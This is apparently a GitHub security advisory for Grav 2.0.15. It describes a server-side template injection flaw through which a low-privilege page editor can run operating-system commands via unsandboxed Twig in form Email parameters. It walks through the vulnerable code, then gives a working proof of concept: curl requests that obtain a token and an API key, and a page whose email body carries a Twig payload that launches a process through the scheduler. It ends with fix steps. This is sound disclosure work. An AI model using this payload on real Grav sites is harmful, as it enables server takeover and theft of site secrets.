Skip to main content
Menu
Advisories

RCE via Unsandboxed Email Twig Rendering

GHSA-GH8J-Q67C-J53FPublished Updated GitHub

Description

Grav 2.0.15 renders page-editor-controlled Email action parameters as unsandboxed Twig templates. An authenticated remote user with only api.access and api.pages.write can place a Twig expression in header.form.process.email.body, publish the page, and submit the form to execute an arbitrary operating-system process as the account running PHP.

The attacker does not need admin.super, admin.pages_twig, api.system.write, an existing machine login, root privileges, environment-variable control, or a working mail server.

Details

1. A page editor can persist arbitrary form action parameters

user/plugins/api/classes/Api/Controllers/PagesController.php protects page creation and updates with api.pages.write (2.0.15 lines 35 and 380-398):

private const PERMISSION_WRITE = 'api.pages.write';

public function create(ServerRequestInterface $request): ResponseInterface
{
    $this->requirePermission($request, self::PERMISSION_WRITE);
    // ...
    $header = $body['header'] ?? [];
}

The partial blueprint validator deliberately ignores keys that are not defined by the page blueprint (AbstractApiController.php, 2.0.15 lines 418-422):

$field = $schema->getProperty($name);
if (!is_array($field) || !isset($field['type'])) {
    // Not a blueprint-defined field (extra/legacy key) — nothing to validate.
    continue;
}

Consequently, a page writer can persist an arbitrary nested header.form.process.email structure. The special Twig-content authorization check in PagesController::guardTwigContent() (2.0.15 lines 2657-2703, especially lines 2662-2674) examines only header.process.twig; it does not examine Twig embedded in form Email parameters. The attacker therefore does not need admin.pages_twig, and process.twig can remain disabled.

2. Grav treats header.form as an executable form definition

system/src/Grav/Common/Page/Traits/PageFormTrait.php loads forms directly from page frontmatter (2.0.15 lines 25-44):

// First grab page.header.form
$form = $this->normalizeForm($header->form ?? null, null, $rules);

When the form is submitted, user/plugins/form/classes/Form.php iterates the attacker-authored process map and fires onFormProcessed with each action and its parameters (2.0.15 lines 987-1008):

$process = $this->items['process'] ?? [];

foreach ($process as $action => $data) {
    $event = new Event(['form' => $this, 'action' => $action, 'params' => $data]);
    $grav->fireEvent('onFormProcessed', $event);
}

The Email plugin receives the email action and calls Email::buildMessage() (user/plugins/email/email.php, 2.0.15 lines 100-140).

3. Email parameters are rendered outside the Twig sandbox

user/plugins/email/classes/Email.php, 2.0.15 lines 389-428, recursively processes every string parameter:

protected function processParams(array $params, array $vars = []): array
{
    $twig = Grav::instance()['twig'];
    $twig->init();
    $vars += $twig->twig_vars;

    array_walk_recursive($params, function (&$value) use ($twig, $vars) {
        if (is_string($value)) {
            // Process Twig strings WITHOUT security filtering
            // Email params come from trusted YAML config, not user input
            $value = $this->processTwigString($twig, $value, $vars);
        }
    });

    return $params;
}

protected function processTwigString(Twig $twig, string $string, array $vars): string
{
    $name = '@EmailVar:' . md5($string);
    $twig->setTemplate($name, $string);
    return $twig->twig->render($name, $vars);
}

The comment that Email parameters come only from trusted YAML is incorrect because page editors can author the YAML frontmatter used by the Form plugin.

system/src/Grav/Common/Twig/Sandbox/GravSourcePolicy.php enables the sandbox only for source names beginning with @Page: or @Var: (2.0.15 lines 33-43):

return str_starts_with($name, '@Page:') || str_starts_with($name, '@Var:');

The @EmailVar: source therefore executes without sandbox method restrictions.

4. Unsandboxed Twig exposes an operating-system process primitive

system/src/Grav/Common/Twig/Extension/GravExtension.php exposes the complete Grav container as a global (2.0.15 lines 100-104):

public function getGlobals(): array
{
    return ['grav' => $this->grav];
}

The container maps scheduler to Grav\Common\Scheduler\Scheduler (system/src/Grav/Common/Grav.php, 2.0.15 line 123). Scheduler::addCommand() accepts a command and attacker-controlled argument array (system/src/Grav/Common/Scheduler/Scheduler.php, 2.0.15 lines 266-279):

public function addCommand($command, $args = [], $id = null)
{
    $job = new Job($command, $args, $id);
    $this->queueJob($job->configure($this->config));
    return $job;
}

Job::run() passes the command to Symfony Process (system/src/Grav/Common/Scheduler/Job.php, 2.0.15 lines 398-443; process construction occurs at lines 429-443):

$args = is_string($this->args) ? explode(' ', $this->args) : $this->args;
$command = array_merge([$this->command], $args);
$process = new Process($command);
$process->run();

This makes the following Twig expression an operating-system command execution primitive:

{{ grav.scheduler.addCommand('powershell.exe', ['-NoProfile', '-Command', '...']).inForeground().run() }}

Message construction occurs before Email delivery. The command therefore executes even when Sendmail/SMTP is absent and the form ultimately reports a mail-delivery error.

The same sink is also directly reachable through POST /api/v1/email/send in user/plugins/email/classes/EmailApiController.php (2.0.15 lines 24-56). That shorter route requires api.system.write; the page-form route is the security-boundary violation because it requires only page-write authority.

PoC

Prerequisites

  • A non-super test account named test with these permissions:
  • api.access
  • api.pages.read
  • api.pages.write
  • The account no need to have admin.super, admin.pages_twig, or api.system.write.

Step 1: Obtain a JWT as test

From Windows Command Prompt (cmd):

set "BASE=http://127.0.0.1/grav-admin"

curl -s -X POST "%BASE%/api/v1/auth/token" ^
  -H "Content-Type: application/json" ^
  --data-raw "{\"username\":\"test\",\"password\":\"TEST_USER_PASSWORD\"}"

Copy the returned access_token:

set "TOKEN=eyJ_REPLACE_WITH_ACCESS_TOKEN"

Step 2: Let test create its own API key

Creating a key for the currently authenticated account requires only api.access .

curl -s -X POST "%BASE%/api/v1/users/test/api-keys" ^
  -H "X-API-Token: %TOKEN%" ^
  -H "Content-Type: application/json" ^
  --data-raw "{\"name\":\"RCE reproduction\",\"scopes\":[\"api.pages.read\",\"api.pages.write\"],\"expiry_days\":1}"

Copy the returned one-time api_key value:

set "TESTKEY=grav_REPLACE_WITH_TEST_KEY"

Step 3: Create a form page containing the Twig payload

curl -i -X POST "%BASE%/api/v1/pages" ^
  -H "X-API-Key: %TESTKEY%" ^
  -H "Content-Type: application/json" ^
  --data-raw "{\"route\":\"/rce-proof\",\"title\":\"RCE proof\",\"template\":\"form\",\"content\":\"\",\"header\":{\"published\":true,\"form\":{\"name\":\"rce-proof\",\"fields\":[],\"buttons\":[{\"type\":\"submit\",\"value\":\"Verify\"}],\"process\":{\"email\":{\"from\":\"verification@example.test\",\"to\":\"verification@example.test\",\"subject\":\"Local verification\",\"body\":\"{{ grav.scheduler.addCommand('powershell.exe', ['-NoProfile','-Command','Start-Process calc.exe']).inForeground().run() }}\"}}}}}"

Expected result: HTTP/1.1 201 Created. The request succeeds despite the account lacking admin.pages_twig and api.system.write.

Step 4: Trigger the form

Open the following URL in a browser:

http://127.0.0.1/grav-admin/rce-proof

Click Verify button and you can see the calc.

Impact

This is a server-side template injection vulnerability leading to arbitrary operating-system command execution. It breaks the intended separation between a content/page editor and the server runtime.

An attacker who compromises or legitimately holds a low-privilege page-editor account can execute programs, read or alter site data, steal application secrets, modify executable content, establish persistence, and pivot to resources reachable by the server.

Fix

  1. Replace the custom @EmailVar: renderer with Grav's existing sandboxed string renderer:

``php return $twig->processString($string, $vars); ``

  1. Add @EmailVar: to GravSourcePolicy as defense in depth if that source name remains in use.
  2. Prefer a dedicated minimal Twig environment for Email parameters that does not expose the grav container or arbitrary object methods.
  3. Add regression tests using an account with api.access and api.pages.write but without admin.pages_twig, api.system.write, or super-admin access.
  4. Consider rejecting or separately authorizing executable Twig in header.form.process.email during page creation and update.

Affected versions

References

GitHub · getgrav/grav